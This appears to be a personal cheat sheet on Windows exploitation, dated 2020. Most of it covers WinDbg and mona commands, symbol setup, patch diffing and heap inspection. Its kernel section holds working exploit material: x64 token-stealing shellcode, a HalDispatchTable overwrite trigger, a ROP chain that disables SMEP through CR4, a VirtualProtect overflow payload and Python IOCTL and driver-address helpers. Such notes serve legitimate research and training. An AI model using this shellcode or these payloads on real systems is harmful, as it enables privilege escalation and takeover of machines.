|\ __________                          __   __                         __
         | |   __     |          _____ __    __\__/_|  |_ __ ___   _____   ___ |  |\_____     
         | |  /  \    |         /  _  \  \  /  /  |_    _|  /   \ /  _  \ /  _ \  |/  _  \    
         | |  \  /___ |        /  /_\  \  \/  /|  | |  |\|   /\  \  / \  \  / \   |  /_\  \   
         | |__/    _ \|        |  _____||    |\|  | |  | |  |\|  |  |\|  |  |\|   |  _____|\  
         | |___/\  \\_\        \  \____/  /\  \|  | |  | |  | |  |  \_/  /  \_/   |  \___ \|  
         | |    /   \_|         \_____/__/ /\__\__| |__| |__| |__|\_____/ \____/__|\_____/\   
         | |   / / \___|         \____\__\/  \__\__\|\__\|\__\|\__\\____\/ \___\\__\\____\/   
         | |__/_/_____|     

Last changed: 20.07.2020

windows exploitation

| Hardware                   |
|----------------------------| - - - - - - - - - -
| HAL                        |  0xffffffffffffffff
| Kernel / Drivers           |
| System Service Dispatcher  |  0xffff800000000000
|----------------------------| - - - - - - - - - -
| ntdll.dll / win32u.dll     |  0x000007fffffeffff
| System / User Processes    |
------------------------------  0x0000000000000000

basic windbg commands

show help

.hh [command]


bp <address>            set breakpoint
bp /p $proc <address>   set breakpoint for current process (kernel debugging)
bp <address> ".printf \"RAX: %p\\n\", rax;g"
bl                      list breakpoints
bc *                    clear breakpoints


    (Ctrl-Break)        break
g   (F5)                continue
gu                      step out
t   (F11)               step into
p   (F10)               step over


u @eip L10              disassemble 10 lines
ub @eip L5              disassemble backwards
uf /c nt!IopLoadDriver  disassemble function

registers and call stack

r                       show registers
r rax                   show rax value
r rax = 1               set rax value
.formats rax            show rax in different formats

k                       stacktrace
kv                      stacktrace with args

show and edit data

db/dw/dd/dq <address/register>
dc <address/register>   hexdump with ascii
dps <pointer>           pointers with symbols
da/du <string_address>  ascii/unicode strings
eb/ew/ed/eq <address> <value>
!address                show memory map

windows symbols

manually download symbols

set _NT_SYMBOL_PATH=srv*c:\symbols*https://msdl.microsoft.com/download/symbols
symchk.exe c:\windows\system32\ntdll.dll

create manifest file for download

symchk.exe /om symbol_manifest.txt c:\windows\system32\ntdll.dll
symchk.exe /om symbol_manifest.txt /r c:\windows\system32

download symbols for manifest file

symchk.exe /im symbol_manifest.txt /s srv*C:\symbols\*https://msdl.microsoft.com/download/symbols

set symbol path

.sympath C:\symbols
.sympath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

resolving symbols

Windbg can look for the nearest symbols to a given address. If you only know a fraction of a function name you can use wildcards to search its location.

ln <address>            nearest symbol
x nt!*write*            resolve symbol

find WinMain()

with symbols

x notepad!*main*

without symbols

You can find the WinMain by looking at the initialization of the C Runtime.

u $exentry

There should be something like

sub     rsp, 28h
call    <Address_A>     (=_security_init_cookie)
add     rsp, 28h
jmp     <Address_B>     (=__mainCRTStartup)

If you disassemble the second address

uf <Address_B>

you should find the call to WinMain by looking for something like this

mov     r8, rax
mov     r9d, ebx
xor     edx, edx
lea     rcx, __ImageBase
call    WinMain

mona in windbg

The manual for mona can be found on corelan.be.

download and install

Python has to be installed. Then download and unzip pykd.zip. Install vcredist_x86.exe and copy pykd.pyd to the x86\winext folder of windbg.

cd "C:\Program Files (x86)\Common Files\Microsoft Shared\VC"
regsvr32 msdia90.dll

Finally download and copy windbglib.py and mona.py to the x86 folder of windbg.

.load pykd.pyd
!py mona

show loaded modules

!py mona mod -o
!py mona noaslr

search for instructions

s 7c340000 l56000 94 c3
!py mona fw -m MSVCR71.dll -s "xchg eax,esp#ret"

generate rop chains

!py mona config -set workingfolder c:\Users\user\Desktop
!py mona rop -m MSVCR71.dll -cpb 003b
!py mona rop -m mshtml.dll -cp nonull -rva

This should generate the files rop.txt, rop_chains.txt, rop_suggestions.txt and stackpivot.txt in the current folder.

crash analysis

set postmortem debugger

windbg.exe -I

To change the postmortem debugger back to Dr. Watson change the value of debugger in

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug


drwtsn32 -p %ld -e %ld -g

find values in memory

s -a 0 L?80000000 "ascii string"
!address /f:Heap /c:"s -u %1 %2 \"unicode string\""
s -d 0 L?80000000/4 <32bit address>


A similar exploit can be crafted for 32bit windows binaries. An example for calling VirtualProtect on the memory page with your shellcode could be <NOP><SHELLCODE><PADDING><VIRTUALPROTECT ADDR><SHELLCODE ADDR><VIRTUALPROTECT PARAMS> where the address of VirtualProtect should overwrite the return address.

python2.exe -c "print('\x90'*64 + '\xcc'*16 + 'A'*8 + '\x41\xf1\xcb\x75' + '\x0c\xe0\x65\x00'*2 + '\x00\x40\x00\x00' + '\x40\x00\x00\x00' + '\x0c\xc0\x65\x00' )" | /binary.exe

patch diffing

To find windows security patches you can search for the corresponging update in the Security Update Guide and download it from the Microsoft Update Catalog.

The .msu file and the inner .cab file can be extracted with expand.

expand -F:* <some_update.msu> .
expand -F:* <inner_file.cab> .
dir /s /b /ad *vuln_dll*

To apply a delta patch to a dll the python script delta_patch.py can be used.

python.exe delta_patch.py -i vuln.dll -o patched.dll .\r\vuln.dll .\f\vuln.dll

You can use BinDiff or Diaphora to compare the two versions in IDA Pro.

heap exploitation

Windows process has its defaut process heap. Additional heaps can be created with functions like HeapCreate(). Every heap has 128 doubly linked free lists for the size bin * 8 bytes. Chunks larger than 1016 bytes are sorted from small to large in bin 0. Further information can be found in

show heaps

!heap -s
dt _PEB @$peb ProcessHeaps
dq <process_heaps_addr>
dt _HEAP <heap_addr>

show chunks

!heap -a <heap_addr>
!heap -x <chunk_addr>
dt _HEAP_ENTRY <chunk_addr>

enable PageHeap

gflags /p /enable iexplore.exe
dt _dph_block_information <chunk_address> -20
!heap -p -a <chunk_address>
gflags /p /disable iexplore.exe

The PageHeapFlags will get stored in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe

debug chunk allocations

ba r1 <chunk_address>-6 (=_HEAP_ENTRY.Flags)
ba r1 <chunk_address>-2 (=_HEAP_ENTRY.LFHFlags)

kernel exploitation

You can determine the version of the kernel with powershell.

Get-Item c:\windows\system32\ntoskrnl.exe | select VersionInfo | Format-List

kernel structures

The Vergilius Project offers a browsable collection of windows kernel structures.

Interesting structures are _EPROCESS (starting with a _KPROCESS structure), _ETHREAD (starting with a _KTHREAD structure) and _KPCR (ending with a _KPRCB structure).


user32.dll -> win32u.dll -> win32k.sys

code execution

A common way to trigger the execution of your kernel shellcode is to overwrite a function pointer in a virtual table (like HalDispatchTable). As many of these tables are watched by PatchGuard you should immediately repair your modification afterwards.

kernel overwrite usermode trigger
HalDispatchTable + 8 NtQueryIntervalProfile(2, &some_ulong)


mov rax, qword gs:[0x188]
mov rax, qword [rax + 0xb8]
mov rcx, rax
mov rax, qword [rax + 0x2e8]
sub rax, 0x2e8
mov r9, qword [rax + 0x2e0]
cmp r9, 4
jne 0x13
mov rdx, qword [rax + 0x358]
mov qword [rcx + 0x358], rdx

Depending on your Windows version you may have to adjust the offsets.

_KTHREAD.ApcState._KPROCESS      //0xb8 (0x98 + 0x20)
_EPROCESS.UniqueProcessId        //0x2e0
_EPROCESS.ActiveProcessLinks     //0x2e8
_EPROCESS.Token                  //0x358

You can assemble the shellcode with rasm2

rasm2 -b 64 -f token_stealing_shellcode_x64.txt

disabling SMEP

If your shellcode lies in userspace memory and Supervisor Mode Execution Protection or Supervisor Mode Access Prevention is enabled you can try to disable it by disabling the bits 20 and 21 in the CR4 register.

.formats cr4

You will need a rop chain doing something like this

pop rcx; ret
0x70678      # see link below
mov cr4, rcx; ret
call <shellcode>

See wikipedia for details about the CR4 register.

sending IOCTLs with python

Information on IOCTL codes can be found on Microsofts pages about defining I/O Control Codes, CTL_CODE and specifying Device Types.

from ctypes import windll

DeviceIoControl = windll.kernel32.DeviceIoControl
CreateFileA = windll.kernel32.CreateFileA
CloseHandle = windll.kernel32.CloseHandle

GENERIC_READ =          0x80000000
GENERIC_WRITE =         0x40000000
OPEN_EXISTING =         0x00000003
FILE_SHARE_READ =       0x00000001
FILE_SHARE_WRITE =      0x00000002
METHOD_BUFFERED =       0x00000000
FILE_ANY_ACCESS =       0x00000000
FILE_DEVICE_UNKNOWN =   0x00000022


device = b"\\??\\my_device"
input_buffer = b"my data..."
output_buffer = b"\0" * 0x100

DeviceIoControl(hdev, MY_IOCTL, input_buffer, len(input_buffer), output_buffer, len(output_buffer), None, None)

get base addresses with python

A process of at least medium integrity can use Psapi to query driver base addresses (including the kernel).

from ctypes import *

EnumDeviceDrivers = windll.psapi.EnumDeviceDrivers
GetDeviceDriverBaseNameA = windll.psapi.GetDeviceDriverBaseNameA

cb = c_ulonglong(0)
ImageBase= (c_ulonglong * cb.value)()
cbNeeded = c_ulonglong()
EnumDeviceDrivers(byref(ImageBase), cb, byref(cbNeeded))

cb = cbNeeded
ImageBase = (c_ulonglong * (cb.value))()
EnumDeviceDrivers(byref(ImageBase), cb, byref(cbNeeded))

base_dict = {}
for i in ImageBase:
    name = b"\0" * 32   # longer names are truncated
    GetDeviceDriverBaseNameA.argtypes = [c_ulonglong, c_char_p, c_ulonglong ]
    GetDeviceDriverBaseNameA(i, name, 32)
    print("0x%016X %s" % (i.value, name.rstrip('\0')))